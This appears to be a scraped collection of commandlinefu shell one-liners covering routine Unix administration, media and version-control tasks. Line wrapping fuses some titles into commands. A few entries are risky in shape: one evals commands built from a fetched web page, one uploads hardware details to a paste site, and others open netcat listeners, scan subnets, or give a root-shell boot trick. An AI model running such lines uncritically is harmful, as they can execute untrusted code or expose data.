|grep -ic "Connected successfully to port $2"` -gt 0 ]] && return 0 || return 1; }
# Display total Kb/Mb/Gb of a folder and each file
du -hc *
# Find Files That Exceed a Specified Size Limit
find directory -size +nnn
# get diskusage of files modified during the last n days
sudo find /var/log/ -mtime -7 -type f | xargs du -ch | tail -n1
# prints line numbers
ls | sed "/^/=" | sed "N;s/\n/. /"
# grab all commandlinefu shell functions into a single file, suitable for sourci
ng.curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] | grep -oP "^\w+\(\)\ *{.*}"
# Count lines of code across multiple file types, sorted by least amount of code
to greatestfind . \( -iname '*.[ch]' -o -iname '*.php' -o -iname '*.pl' \) -exec wc -l {} + | sort -n
# Get the size of all the directories in current directory
du -hd 1
# find an unused unprivileged TCP port
(netstat -atn | awk '{printf "%s\n%s\n", $4, $4}' | grep -oE '[0-9]*$'; seq 32768 61000) | sort -n | uniq -u | head -n 1
# Display top Keywords from history
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr
# Randomize lines (opposite of | sort)
sort -R
# password recovery on debian
init=/bin/bash; mount -o remount,rw /
# print java packages by using unix tree and sed
tree -d -I 'CVS' -f -i | sed 's/\//./g' | sed 's/\.\.//g'
# Find and delete thunderbird's msf files to make your profile work quickly agai
n.find ~/.thunderbird/*.default/ -name *.msf -exec rm -f {} \;
# quick and dirty formatting for HTML code
sed -r 's_(/[^>]*?>)_\1\n_g' filename.html
# Display your ${PATH}, one directory per line
echo $PATH | tr : \\n
# copies 20 most recently downloaded mp3 files (such as from Miro) into a direct
oryfind . -name \*.mp3 -printf "%C+ %h/%f\n" | sort -r | head -n20 | awk '{print "\""$2"\""}' | xargs -I {} cp {} ~/tmp
# import gpg key from the web
curl -s http://defekt.nl/~jelle/pubkey.asc | gpg --import
# Count the number of pages of all PDFs in current directory and all subdirs, re
cursivelyfind . -name \*.pdf -exec pdfinfo {} \; | grep Pages | sed -e "s/Pages:\s*//g" | awk '{ sum += $1;} END { print sum; }'
# Outputs a 10-digit random number
head -c4 /dev/urandom | od -N4 -tu4 | sed -ne '1s/.* //p'
# convert a latex source file (.tex) into opendocument (.odt ) format
htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
# Resets a terminal that has been messed up by binary input
reset
# Repeatedly send a string to stdout-- useful for going through "yes I agree" sc
reensyes "text" | annoying_installer_program # "text" defaults to the letter y
# remove audio trac from a video file
mencoder -ovc copy -nosound ./movie.mov -o ./movie_mute.mov
# OSX command to take badly formatted xml from the clipboard, cleans it up and p
uts it back into the clipboard.pbpaste | tidy -xml -wrap 0 | pbcopy
# Check a server is up. If it isn't mail me.
ping -q -c1 -w3 server.example.com >& /dev/null || echo server.example.com ping failed | mail -ne -s'Server unavailable' admin@example.com
# bash alias for sdiff: differ
alias differ='sdiff --suppress-common-lines'
# Deal with dot files safely
rm -r .[!.]*
# How to stop MAC Address via IPTables
-A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT
# Format date/time string for a different day
date --date=yesterday +%Y%m%d
# Drop or block attackers IP with null routes
sudo route add xxx.xxx.xxx.xxx gw 127.0.0.1 lo
# Determine the version of a specific package with RPM
rpm -q --qf "%{VERSION}\n" redhat-release
# Do one ping to a URL, I use this in a MRTG gauge graph to monitor connectivit
yping -q -c 1 www.google.com|awk -F/ 'END{print $5}'
# sort through source to find most common authors
find . -type f -name "*.java" -print0 | xargs -0 -n 1 svn blame | sed -n 's/^[^a-z]*\([a-z]*\).*$/\1/p' | sort | uniq -c | sort -n
# Testing php configuration
php -r phpinfo();
# 1+2-3+4-5+6-7 Series
seq 1000 | paste -sd+- | bc
# List apache2 virtualhosts
/usr/sbin/apache2ctl -S 2>&1 | perl -ne 'm@.*port\s+([0-9]+)\s+\w+\s+(\S+)\s+\((.+):.*@ && do { print "$2:$1\n\t$3\n"; $root = qx{grep DocumentRoot $3}; $root
=~ s/^\s+//; print "\t$root\n" };'
# dstat- this command is powerful one to monitor system activity . It has combin
ed the power of vmstat,iostat,mpstat,df,free,sar .dstat -afv
# Create a temporary file
tempfile=$(/bin/mktemp)
# Find directory depth
find . -printf '%d\n' | sort -n | tail -1
# 1:1 copy of a volume
find / -xdev -print | cpio -pdmuv /mnt/mydisk
# Burn CD/DVD from an iso, eject disc when finished.
cdrecord dev=0,0,0 -v -eject yourimage.iso
# Which Twitter user are you?
curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'
# Forwards connections to your port 2000 to the port 22 of a remote host via ssh
tunnelssh -NL 2000:remotehost:22 remotehost
# %s across multiple files with Vim
:set nomore :argdo %s/foo/bar/g | update
# geoip information
GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }
# List contents of jar
jar -tf file.jar
# Validate date, also a date within a leap year
date -d2009-05-18 > /dev/null 2>&1 ; echo $?
# Setting reserved blocks percentage to 1%
sudo tune2fs -m 1 /dev/sda4
# Cleanly manage tempfiles in scripts
TMPROOT=/tmp; TMPDIR=$(mktemp -d $TMPROOT/somedir.XXXXXX); TMPFILE=$(mktemp $TMPROOT/somefile.XXXXXX); trap "rm -rf $TMPDIR $TMPFILE; exit" INT TERM EXIT; some
treatment using $TMPDIR and $TMPFILE; exit 0
# restart apache only if config works
alias restart='apache2ctl configtest && apache2ctl restart'
# Remove text from file1 which is in file2 and stores it in an other file
grep -Fvf file1 file2 > file-new
# Concatenates lines using sed
sed -e :a -e '/$/N;s/\n/ /;ta'
# show the working directories of running processes
lsof -bw -d cwd -a -c java
# convert all files in a dir of a certain type to flv
for f in *.m4a; do ffmpeg -i "$f" "${f%.m4a}.flv"; done
# Vlc ncurses mode browsing local directorys.
vlc -I ncurses
# Shows what processes need to be restarted after system upgrade
checkrestart
# Set laptop display brightness
echo | sudo dd of=/proc/acpi/video/VGA/LCD/brightness
# check open ports (both ipv4 and ipv6)
lsof -Pn | grep LISTEN
# Getting started with tcpdump
tcpdump -nli eth0; tcpdump -nli eth0 src or dst w.x.y.z; tcpdump -nli eth0 port 80; tcpdump -nli eth0 proto udp
# Disconnect telnet
telnet somehost 1234, close
# Combine cssh and shell expansion to execute commands on a large cluster
cssh 192.168.125.{1..200}
# rotate a one page pdf to 90 Degrees Clockwise
pdftk pdfname.pdf cat 1E output outputname.pdf
# Set executable permissions on a file under Subversion
svn propset svn:executable ON filename
# Email HTML content
mailx bar@foo.com -s "HTML Hello" -a "Content-Type: text/html" < body.htm
# Matrix Style
while true ; do IFS="" read i; echo "$i"; sleep .01; done < <(tr -c "[:digit:]" " " < /dev/urandom | dd cbs=$COLUMNS conv=unblock | GREP_COLOR="1;32" grep
--color "[^ ]")
# Create a tar file with the current date in the name.
tar cfz backup-$(date --iso).tar.gz somedirs
# Display information sent by browser
nc -l 8000
# Get info on RAM Slots and Max RAM.
dmidecode 2.9 | grep "Maximum Capacity"; dmidecode -t 17 | grep Size
# Outputs a 10-digit random number
tr -c -d 0-9 < /dev/urandom | head -c 10
# determine if tcp port is open
if (nc -zw2 www.example.com 80); then echo open; fi
# find duplicate processes
ps aux | sort --key=11 | uniq -c -d --skip-fields=10 | sort -nr --key=1,1
# delete unversioned files in a checkout from svn
svn st | grep "^\?" | awk "{print \$2}" | xargs rm -rf
# get delicious bookmarks on your shell (text version :-))
curl -u 'username' https://api.del.icio.us/v1/posts/all | sed 's/^.*href=//g;s/>.*$//g;s/"//g' | awk '{print $1}' | grep 'http'
# Preview of a picture in a terminal
img test.jpg
# determine if a shared library is compiled as 32bit or 64bit
libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is
a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;
# Is today the last day of the month?
[ `date --date='next day' +'%B'` == `date +'%B'` ] || echo 'end of month' && echo 'not end of month'
# Wait for an already launched program to stop before starting a new command.
wait $!
# Displaying system temperature
cat /proc/acpi/thermal_zone/THRM/temperature
# GIT: list unpushed commits
git log --oneline ..
# Replace multiple spaces with semicolon
sed "s/\s\+/;/g;s/^ //;s/ $//" filename.csv
# Spell check the text in clipboard (paste the corrected clipboard if you like)
xclip -o > /tmp/spell.tmp; aspell check /tmp/spell.tmp ; cat /tmp/spell.tmp | xclip
# Calculate N!
echo $(( $(echo 1 "* "{2..10}) ))
# Mount important virtual system directories under chroot'ed directory
for i in sys dev proc; do sudo mount --bind /$i /mnt/xxx/$i; done
# Both view and pipe the file without saving to disk
cat /path/to/some/file.txt | tee /dev/pts/0 | wc -l
# delete multiple files from git index that have already been deleted from disk
git status | grep deleted | awk '{print $3}' | xargs git rm
# Recover cvs ": no such repository" error
find ./* -name 'CVS' | awk '{print "dos2unix " $1 "/*"}' | awk '{system($0)}'
# Deleting Files from svn which are missing
svn status | grep '!' | sed 's/!/ /' | xargs svn del --force
# Get current Xorg resolution via xrandr
$ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]"
# Convert numbers to SI notation
$ awk '{ split(sprintf("%1.3e", $1), b, "e"); p = substr("yzafpnum_kMGTPEZY", (b[2]/3)+9, 1); o = sprintf("%f", b[1] * (10 ^ (b[2]%3))); gsub(/\./, p, o);
print substr( gensub(/_[[:digit:]]*/, "", "g", o), 1, 4); }' < test.dat
# Fetch the Gateway Ip Address
ip route list match 0.0.0.0/0 | cut -d " " -f 3
# 5 Which Aliases
alias whichall='{ command alias; command declare -f; } | command which --read-functions --read-alias -a'
# Find out current working directory of a process
echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd
# Binary injection
echo -n $HEXBYTES | xxd -r -p | dd of=$FILE seek=$((0x$OFFSET)) bs=1 conv=notrunc
# Your name backwards
espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 -
# Change every instance of OLD to NEW in file FILE
sed -i 's/OLD/NEW/g' FILE
# positions the mysql slave at a specific master position
slave start; SELECT MASTER_POS_WAIT('master.000088','8145654'); slave stop;
# SMS reminder
echo 'mail -s "Call your wife" 13125551234@tmomail.net' |at now+15min
# Create passwords and store safely with gpg
tr -dc "a-zA-Z0-9-_\$\?" < /dev/urandom | head -c 10 | gpg -e -r medha@nerdish.de > password.gpg
# Search through all installed packages names (on RPM systems)
rpm -qa \*code\*
# Archive all SVN repositories in platform indepenent form
find repMainPath -maxdepth 1 -mindepth 1 -type d | while read dir; do echo processing $dir; sudo svnadmin dump --deltas $dir >dumpPath/`basename $dir`; done
# Diff files over SSH
Diff files over SSH: ssh [login]@[host] "cat [remote file]" | diff - "[local file]"
# Tail a log file with long lines truncated
tail -f logfile.log | cut -b 1-80
# Log the current memory statistics frequently to syslog
while true; do { $(which logger) -p local4.notice `free -m | grep Mem`; sleep 60; } done &
# Convert multiple flac files to mp3
for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done
# extract content of a Debian package
ar -x package.deb
# Output system statistics every 5 seconds with timestamp
while [ 1 ]; do echo -n "`date +%F_%T`" ; vmstat 1 2 | tail -1 ; sleep 4; done
# Archive all SVN repositories in platform indepenent form
budir=/tmp/bu.$$;for name in repMainPath/*/format;do dir=${name%/format};bufil=dumpPath/${dir##*/};svnadmin hotcopy --clean-logs $dir $budir;svnadmin dump
--delta $budir>$bufil;rm -rf $budir;done
# Functions to display, save and restore $IFS
ifs () { echo -n "${IFS}"|hexdump -e '"" 10/1 "'\''%_c'\''\t" "\n"' -e '"" 10/1 "0x%02x\t" "\n\n"'|sed "s/''\|\t0x[^0-9]//g; $,/^$/d"
# find co-ordinates of a location
findlocation() { place=`echo $1 | sed 's/ /%20/g'` ; curl -s "http://maps.google.com/maps/geo?output=json&oe=utf-8&q=$place" | grep -e "address" -e
"coordinates" | sed -e 's/^ *//' -e 's/"//g' -e 's/address/Full Address/';}
# Remove all HTML tags from a file
awk '{gsub("<[^>]*>", "")}1' file
# Watch the National Debt clock
watch -n 10 "wget -q http://www.brillig.com/debt_clock -O - | grep debtiv.gif | sed -e 's/.*ALT=\"//' -e 's/\".*//' -e 's/ //g'"
# Get lines count of a list of files
find . -name "*.sql" -print0 | wc -l --files0-from=-
# Check whether laptop is running on battery or cable
cat /proc/acpi/ac_adapter/AC0/state
# List just the executable files (or directories) in current directory
ls -F | grep '*$'
# bulk rename files with sed, one-liner
ls * | sed -e 'p;s/foo/bar/' | xargs -n2 mv
# Translate your terminal into Swedish Chef
perl -e '$b="bork"; while(){$l=`$_ 2>&1`; $l=~s/[A-Za-z]+/$b/g; print "$l$b\@$b:\$ ";}'
# Display a Lissajous curve in text
ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}"
# Export a directory to all clients via NFSv4, read/write.
exportfs -o fsid=0,rw :/home/jason
# convert filenames in current directory to lowercase
find my_root_dir -depth -exec rename 's/(.*)\/([^\/]*)/$1\/\L$2/' {} \;
# slow down CPU and IO for process and its offsprings.
slow2() { ionice -c3 renice -n 20 $(pstree `pidof $1` -p -a -u -A|gawk 'BEGIN{FS=","}{print $2}'|cut -f1 -d " ") ; }
# Wait the end of prog1 and launch prog2
pkill -0 prog1; while [ $? -eq 0 ]; do sleep 10; pkill -0 prog1; done; prog2
# put current directory in LAN quickly
python -m SimpleHTTPServer
# find system's indianness
python -c "import sys;print (sys.byteorder) + ' endian'"
# Add "prefix" on a buch of files
for a in *; do mv $a prefix${a}; done
# A snooze button for xmms2 alarm clock
xmms2 pause && echo "xmms2 play" | at now +5min
# Encode/Decode text to/from Base64 on a Mac w/out Mac Ports
openssl base64 -in base64.decoded.txt -out base64.encoded.txt
# Delete all but the latest 5 files
ls -t | tail +6 | xargs rm
# Remove all unused kernels with apt-get
dpkg -l 'linux-*' | sed '/^ii/!d;/'"$(uname -r | sed "s/\(.*\)-\([^0-9]\+\)/\1/")"'/d;s/^[^ ]* [^ ]* \([^ ]*\).*/\1/;/[0-9]/!d' | xargs sudo apt-get -y purge
# Create a DOS floppy image
dd if=/dev/zero bs=1024 count=1440 > floppy.img && mkdosfs floppy.img
# Display condensed log of changes to current git repository
git log --pretty=oneline
# download all the presentations from UTOSC2010
b="http://2010.utosc.com"; for p in $( curl -s $b/presentation/schedule/ | grep /presentation/[0-9]*/ | cut -d"\"" -f2 ); do f=$(curl -s $b$p | grep
"/static/slides/" | cut -d"\"" -f4); if [ -n "$f" ]; then echo $b$f; curl -O $b$f; fi done
# send a file or directory via ssh compressing with lzma for low trafic
tar -cf - ./file | lzma -c | ssh user@sshserver $(cd /tmp; tar --lzma -xf -)
# user 'tr' to convert mixed case in a file to lower case
tr "[:upper:]" "[:lower:]" < file
# Sort movies by length, longest first
find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1
-r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g'
# Find C/C++ source files
find . -name '*.[c|h]pp' -o -name '*.[ch]' -type f
# Suppress output of loud commands you don't want to hear from
quietly() { "$@" > /dev/null 2>&1; }
# display a one-liner of current nagios exit statuses. great with netcat/irccat
grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "
# Colored cal output
alias cal='cal | grep --color=auto -E "( |^)$(date +%e)|$"'
# modify a file in place with perl
perl -pi -e 's/THIS/THAT/g' fileglob*
# Shorten any Url using bit.ly API, using your API Key which enables you to Trac
k Clickscurl "http://api.bit.ly/shorten?version=2.0.1&longUrl=&login=&apiKey="
# Stop long commands wrapping around and over-writing itself in the Bash shell
shopt -s checkwinsize
# history manipulation
!-2 && !-1
# Deploy git server repo
apt-get -y install git-core gitosis; adduser --home /home/git --gecos "git user" git; su git -c "ssh-keygen -t rsa -f /home/git/.ssh/id_rsa; gitosis-init <
~/.ssh/id_rsa"
# Record MP3 audio via ALSA using ffmpeg
ffmpeg -f alsa -ac 2 -i hw:1,0 -acodec libmp3lame -ab 96k output.mp3
# copy ACL of one file to another using getfacl and setfacl
getfacl | setfacl -f -
# A function to find the newest file in a directory
find /path/to/dir -type f -printf "%T@|%p\n" 2>/dev/null | sort -n | tail -n 1| awk -F\| '{print $2}'
# Serve the current directory at http://localhost:8000/
python -m SimpleHTTPServer
# Check whether laptop is running on battery or cable
acpi -b
# Get a list of ssh servers on the local subnet
nmap -p 22 --open -sV 192.168.2.0/24
# dump database from postgresql to a file
pg_dump -Ft -b -Uusername -hdb.host.com db_name > db.tar
# Instant mirror from your laptop + webcam
cvlc v4l2:// :vout-filter=transform :transform-type=vflip :v4l2-width=320 :v4l2-height=240 -f &
# Calculate 1**2 + 2**2 + 3**2 + ...
seq -f"%g^2" -s "+" 10 | bc
# Combine all .mpeg files in current directory into one big one.
cat *.mpg > all.mpg
# show the real times iso of epochs for a given column
perl -F' ' -MDate::Format -pale 'substr($_, index($_, $F[1]), length($F[1]), time2str("%C", $F[1]))' file.log
# Decode a MIME message
munpack file.txt
# Recursive grep of all c++ source under the current directory
find . -name '*.?pp' | xargs grep -H "string"
# Generate trigonometric/log data easily
echo "e("{1..8}");" | bc -l
# "I Feel Lucky" for Google Images
echo -n "search> ";read QUERY && wget -O - `wget -O - -U "Mozilla/5.0" "http://images.google.com/images?q=${QUERY}" 2>/dev/null |sed -e 's/","http/\n","http/g'
|awk -F \" '{print $3}' |grep -i http: |head -1` > "$QUERY"
# Find
xwininfo
# Speed up the keyboard repeat rate in X server
xset r rate 250 120
# Get Unique Hostnames from Apache Config Files
cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' | sed 's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq
# Rename all files which contain the sub-string 'foo', replacing it with 'bar'
rename 's/foo/bar/g' ./*
# compare two Microsoft Word documents
meld <(antiword microsoft_word_a.doc) <(antiword microsoft_word_b.doc)
# Pick a random line from a file
sort -R file.txt | head -1
# show todays svn log
svn log --revision {`date +%Y-%m-%d`}:HEAD
# Pronounce an English word using Merriam-Webster.com
cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')" | sed -rn "s#return au\('([^']+?)', '([^'])[^']*'\);.*#\nwget -qO-
http://cougar.eb.com/soundc11/\2/\1 | aplay -q#; s/[^\n]*\n//p"); [ "$cmd" ] && eval "$cmd" || exit 1
# Recover resolution when a fullscreen program crashes and you're stuck with a t
iny X resolutionxrandr -s 0
# List all the files that have been deleted while they were still open.
lsof | egrep "^COMMAND|deleted"
# Run skype using your GTK theme
skype --disable-cleanlooks -style GTK
# Determine space taken by files of certain type
find . -name -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}'
# Double your disk read performance in a single command
blockdev --setra 1024 /dev/sdb
# force unsupported i386 commands to work on amd64
setarch i386 [command [args]]
# Find files recursively that were updated in the last hour ignoring SVN files a
nd folders.find . -mmin -60 -not -path "*svn*" -print|more
# Comma insertions
perl -pe '$_=reverse;s/\d{3}(?=\d)(?!.*?\.)/$&,/g;$_=reverse'
# Create subversion undo point
function svnundopoint() { if [ -d .undo ]; then r=`svn info | grep Revision | cut -f 2 -d ' '` && t=`date +%F_%T` && f=${t}rev${r} && svn diff>.undo/$f && svn
stat>.undo/stat_$f; else echo Missing .undo directory; fi }
# Convert ascii string to hex
echo -n "text" | od -A n -t x1 |sed 's/ /\\x/g'
# Remove comments and empty lines from a conf file
grep ^[^#] /etc/file.conf
# Binary search/replace
xxd < orig | sed 's/A/B/' | sed 's/HEXA/HEXB/' | xxd -r > new
# Google Translate
cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed
's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; ); echo "$cmd"
# Convert DOS newlines (CR/LF) to Unix format
sed 's/^M$//' input.txt > output.txt
# Show (only) list of files changed by commit
git show --relative --pretty=format:'' --name-only HASH
# format txt as table
cat /etc/passwd | column -nts:
# listen to ram
cat /dev/mem > /dev/audio
# Remove all unused kernels with apt-get
aptitude remove ?and(~i~nlinux-(im|he) ?not(~n`uname -r`))
# Get a list of ssh servers on the local subnet
nmap -p 22 10.3.1.1/16 | grep -B 4 "open"
# Transform a portrait pdf in a landscape one with 2 pages per page
pdfnup --nup 2x1 --frame true --landscape --outfile output.pdf input.pdf
# Generate a random password 30 characters long
pwgen 30 1
# find string into one pdf file
find / -iname '*.pdf' -print -exec pdftotext '{}' - \; | grep --color -i "unix"
# get a process list by listen port
netstat -ntlp | grep -w 80 | awk '{print $7}' | cut -d/ -f1
# (Git) Revert files with changed mode, not content
git diff --numstat | awk '{if ($1 == "0" && $2 == "0") print $3}' | xargs git checkout HEAD
# Get your public ip
curl -s http://sputnick-area.net/ip
# OpenDns IP update via curl
curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?'
# Extracting frames from a video as jpeg files
mplayer -ao null -sid 999 -ss 00:15:45 -endpos 10 filename.avi -vo jpeg:outdir=out_frames
# remove execute bit only from files. recursively
find . -type f -exec chmod -x {} \;
# Print trending topics on Twitter
wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'
# Change to $HOME - zsh, bash4
~
# Symlink all files from a base directory to a target directory
for f in $(ls -d /base/*); do ln -s $f /target; done && ls -al /target
# rsync + find
rsync -avz -e ssh --files-from=<(find -mtime +30 -mtime -60) source dest
# Change files case, without modify directories, recursively
find ./ -name '*.JPG' -type f -execdir rename -f 'y/A-Z/a-z/' {} \+
# Print all fields in a file/output from field N to the end of the line
cut -f N- file.dat
# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain
a bit)mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons
# how to export a table in .csv file
mysql -u[username] -p[password] [nome_database] -B -e "SELECT * FROM [table] INTO OUTFILE '/tmp/ca.csv' FIELDS TERMINATED BY ',' LINES TERMINATED BY '\n';
# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain
a bit)mkdir myicons; find /usr/share/icons/ -type f -exec cp {} ./myicons/ \;
# use SHIFT + ALT to toggle between two keyboard layouts
setxkbmap -option grp:switch,grp:alt_shift_toggle,grp_led:scroll us,es
# Simple complete system backup excluding files or directories
tar zcpf backup.tgz --exclude=/proc --exclude=backup.tgz /
# Display kernel profile of currently executing functions in Solaris.
lockstat -I -i 977 -s 30 -h sleep 1 > /tmp/profile.out
# Reinstall Grub
sudo grub-install --recheck /dev/sda1
# Lists the size of certain file in every 10 seconds
watch -n 10 'du -sk testfile'
# Get the list of local files that changed since their last upload in an S3 buck
etchanging_assets = `s3cmd sync --dry-run -P -M --exclude=*.php --delete-removed #{preprod_release_dir}/web/ #{s3_bucket} | grep -E 'delete:|upload:' | awk
'{print $2}' | sed s_#{preprod_release_dir}/web__`
# Print the last modified file
ls -t1 | head -n1
# Connect to all running screen instances
for i in `screen -ls | perl -ne'if(/^\s+\d+\.([^\s]+)/){print $1, " "}'`; do gnome-terminal -e "screen -x $i"; done
# Monitor RX/TX packets and any subsquent errors
watch 'netstat -aniv'
# convert wav files to flac
flac --best *.wav
# Tail a log-file over the network
tail -f error_log | nc -l 1234
# HTTP GET request on wireshark remotly
ssh USER@HOST "sudo tshark -i eth0 -f 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x47455420' -w -" | wireshark -k -i -
# convert wav files to ogg
oggenc *.wav
# Restart X11 with HUP signal
kill HUP `pidof '/usr/bin/X'`
# The simplest way to transport information over a network
(on destination machine) nc -l 1234 > whatever; (on source machine) nc destination 1234 < whatever;
# Shell function to create a menu of items which may be inserted into the X past
e buffer.smenu() ( IFS=',' ; select x in $*; do echo "$x" | xsel -i; done )
# fix flash video (flv) file (ffmpeg)
ffmpeg -i broken.flv -acodec copy -vcodec copy fixed.flv
# Encrypt every file in the current directory with 256-bit AES, retaining the or
iginal.for f in * ; do [ -f $f ] && openssl enc -aes-256-cbc -salt -in $f -out $f.enc -pass file:/tmp/password-file ; done
# Convert PNG to GIF
for file in *.png; do convert "$file" "$(basename $file .png).gif"; done
# Email someone if a web page has been updated.
cd /some/empty/folder/website_diffs/sitename && wget -N http://domain.com/ 2>&1 |grep -q "o newer" || printf "Sites web page appears to have
updated.\n\nSuggest you check it out.\n\n"|mail -s "Sites page updated." david@email.com
# pop-up messages on a remote computer
while : ; do if [ ! $(ls -l commander | cut -d ' ' -f5) -eq 0 ]; then notify-send "$(less commander)"; > commander; fi; done
# Set random background image in gnome
gconftool-2 -t str -s /desktop/gnome/background/picture_filename "$(find ~/Wallpapers -type f | shuf -n1)"
# using tee to echo to a system file with sudo privileges
echo ondemand | sudo tee /sys/devices/system/cpu/cpu0/cpufreq/scaling_governor
# Create .pdf from .doc
wvPDF test.doc test.pdf
# Convert embedded spaces in filenames to "_" (underscore)
ls -1 | grep " " | awk '{printf("mv \"%s\" ",$0); gsub(/ /,"_",$0); printf("%s\n",$0)}' | sh # rename filenames: spaces to "_"
# Exclude a string with awk
awk '{sub("String","",$0); print $0}' file
# Display 6 largest installed RPMs sorted by size (descending)
rpm -qa --qf '%{SIZE} %{NAME}\n' | sort -nr | nl | head -6 # six largest RPMs
# advanced bash history
export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000
# get only time of execution of a command without his output
time Command >/dev/null
# sed edit-in-place using -a option instead of -i option (no tmp file created)
sedi(){ case $# in [01])echo usage: sedi cmds file;;2)sed -an ''"$1"';H;$!d;g;w '"$2"'' $2;;esac;}
# PRINT LINE the width of screen or specified using any char including Colors, E
scapes and metacharsL(){ l=`builtin printf %${2:-$COLUMNS}s` && echo -e "${l// /${1:-=}}"; }
# fdiff is a 'filtered diff'. Given a text filter and two inputs, will run the f
ilter across the input files and diff the output.fdiff() { ${DIFFCMD:-diff} <( $1 $2 ) <( $1 $3 ); }
# An alias to select a portion of your desktop and save it as an image.
alias capture='IMAGE="/home/user/Pictures/capture-`date +%Y%m%d%H%M%S`.png"; import -frame $IMAGE; echo "Image saved as $IMAGE"'
# Exclude a string with awk
awk '{sub("String","")}1'
# extract plain text from MS Word docx files
unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'
# Insert a line for each n lines
ls -l | sed "$(while (( ++i < 5 )); do echo "N;"; done) a -- COMMIT --"
# posts an xml file to a webservice with curl
curl -X POST -d @request.xml -H 'Content-Type: text/xml' https://hostname/context/service
# Grep for regular expression globally, list files and positions.
find . -name "*.pbt" -exec grep -Hirn "declareObject.*Common_Down" {} \;
# Paste hardware list (hwls) in html format into pastehtml.com directly from con
sole and return URI.listhw(){ curl -s -S --data-urlencode "txt=$(sudo lshw -html)" "http://pastehtml.com/upload/create?input_type=html&result=address";echo;}
# Recursive Search and Replace
perl -pi -e's///g' `grep -Rl //*`
# Load all files (including in subdirs), whose name matches a substring, into Vi
mvim $(find . ! -path \*.svn\* -type f -iname \*foo\*)
# purge all packages marked with 'rc'
sudo dpkg --purge `dpkg -l | awk '/^r/{print $2}'`
# sort ugly text
sort -bdf
# Using awk to sum/count a column of numbers.
cat count.txt | awk '{ sum+=$1} END {print sum}'
# Alias for quick command-line volume set (works also remotely via SSH)
alias setvol='aumix -v'
# List the size (in human readable form) of all sub folders from the current loc
ationdu -sh */
# git diff of files that have been staged ie 'git add'ed
git diff --cached
# Emptying a text file in one shot
:1,$d
# Update a tarball
tar -tf file.tar | tar -T - -uf file.tar
# Trim linebreaks
cat myfile.txt | tr -d '\n'
# Generat a Random MAC address
od -An -N10 -x /dev/random | md5sum | sed -r 's/^(.{10}).*$/\1/; s/([0-9a-f]{2})/\1:/g; s/:$//;'
# View any already in progress copy command in detail
sudo lsof -p1234 | grep -E "(3r|4w).*REG"
# BourneShell: Go to previous directory
cd -
# Lists the supported memory types and how much your board can support.
sudo dmidecode -t 5,16
# Track X Window events in chosen window
xev -id `xwininfo | grep 'Window id' | awk '{print $4}'`
# Insert a line for each n lines
ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}'
# Transcode .flac to .wav with gstreamer
for i in *.flac; do gst-launch filesrc location="$i" ! flacdec ! wavenc ! filesink location="${i%.flac}.wav"; done
# cpu info
sudo dmidecode -t processor
# Shrink more than one blank lines to one in VIM.
:%v/./,/./-j
# Send a local file via email
cat filename | mail -s "Email subject" user@example.com
# Display condensed log in a tree-like format.
git log --graph --pretty=oneline --decorate
# Count number of hits per IP address in last 2000 lines of apache logs and prin
t the IP and hits if hits > 20tail -n2000 /var/www/domains/*/*/logs/access_log | awk '{print $1}' | sort | uniq -c | sort -n | awk '{ if ($1 > 20)print $1,$2}'
# lotto generator
echo $(shuf -n 6 -i 1-49 | sort -n)
# Console clock -- Revised
yes 'clear;printf "\n\n\n\n\t\t\t`date`\n";sleep 1' | sh
# Compare prices in euro of the HTC Desire on all the european websites of Expan
sys.for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed
"s/.*
€ \([0-9]*[,.][0-9]*\).*/\1/g"; done
# list folders containing less than 2 MB of data
find . -type d -exec du -sk '{}' \; | awk '{ if ($1 <2000) print $0 }' | sed 's/^[0-9]*.//'
# Replace spaces in a filename with hyphens
rename 's/ /-/g' *
# Console clock
